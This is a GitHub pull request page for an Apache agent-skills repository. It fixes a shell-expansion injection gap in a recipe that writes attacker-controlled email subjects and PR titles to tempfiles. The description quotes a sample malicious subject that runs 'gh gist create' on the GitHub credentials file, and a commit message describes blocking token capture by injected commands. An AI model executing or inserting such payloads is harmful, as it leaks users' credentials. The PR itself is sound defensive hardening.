Skip to content

fix(security): close residual shell-expansion gap in #81's tempfile recipe#88

Merged
potiuk merged 1 commit into
apache:mainfrom
andrew:fix/printf-shell-expansion
May 7, 2026
Merged

fix(security): close residual shell-expansion gap in #81's tempfile recipe#88
potiuk merged 1 commit into
apache:mainfrom
andrew:fix/printf-shell-expansion

Conversation

@andrew

@andrew andrew commented May 7, 2026

Copy link
Copy Markdown
Contributor

Follow-up to #81 and #84.

The printf '%s' "<x>" recipe that #81 introduced for getting attacker-controlled strings (email subjects, PR titles, scanner-finding titles) into tempfiles before passing to gh api -F field=@file still routes the string through a double-quoted shell argument. The shell expands $(...), backticks and $VAR in "<x>" before printf ever runs, so a subject like RCE in $(gh gist create ~/.config/gh/hosts.yml --public) still executes. The old single-quoted form was vulnerable to ' breakout; the new form is vulnerable to $ / backtick / " breakout. #84 then encoded the same recipe as Pattern 1 and Pattern 3 of write-skill/security-checklist.md, so every future skill scaffolded through that flow would inherit it.

This replaces the recipe with an instruction to use the Write tool (not Bash) to put the attacker bytes on disk. The Write tool takes content as a literal parameter with no shell tokenisation; gh api -F field=@file then reads it verbatim. Applied at all six recipe sites across the three import skills, and at Patterns 1 and 3 of the write-skill checklist. Each site now also carries an explicit "never printf '%s' "<x>"" warning so the old form doesn't creep back.

The .claude/settings.json permission additions originally in this PR have been split out to #89 per review.

Not in this PR: fencing the verbatim bodies in import-from-pr / import-from-md (finding 5 follow-up), and committing the audit gist into docs/security/. Both are smaller and can land separately.

Comment thread .claude/settings.json Outdated

@potiuk potiuk left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nice - with the NIT of separating the settings changes

…file recipe

The printf '%s' "<x>" recipe introduced in apache#81 still passes the
attacker-controlled string through a double-quoted shell argument,
so $(...), backticks and $VAR expand before printf runs. Replace
with an instruction to use the Write tool to land the bytes on
disk without shell tokenisation, then -F field=@file as before.
Applied at all six recipe sites across the three import skills
and at Patterns 1 and 3 of the write-skill checklist so future
skills inherit the corrected form.

settings.json permission additions split to apache#89 per review.
@andrew andrew force-pushed the fix/printf-shell-expansion branch from 39fe0c2 to 3ead42f Compare May 7, 2026 12:44
@andrew andrew marked this pull request as ready for review May 7, 2026 12:44
@andreahlert andreahlert added the mode:Drafting Agentic Drafting — agent-authored fix, human-reviewed PR label May 7, 2026
potiuk pushed a commit that referenced this pull request May 7, 2026
Split from #88 per review.

- gh auth token / gh auth refresh -> permissions.deny. gh auth token
  prints the GitHub token to stdout with no prompt, so any injection
  that reaches Bash can capture and exfil it via the
  already-allowlisted api.github.com.
- gh workflow run -> permissions.ask.
- gh api --method / gh api --input (flag-first variants) added
  alongside the existing gh api * --method * patterns so argument
  ordering can't sidestep the match.
@potiuk potiuk merged commit b0f60f1 into apache:main May 7, 2026
11 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

mode:Drafting Agentic Drafting — agent-authored fix, human-reviewed PR

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants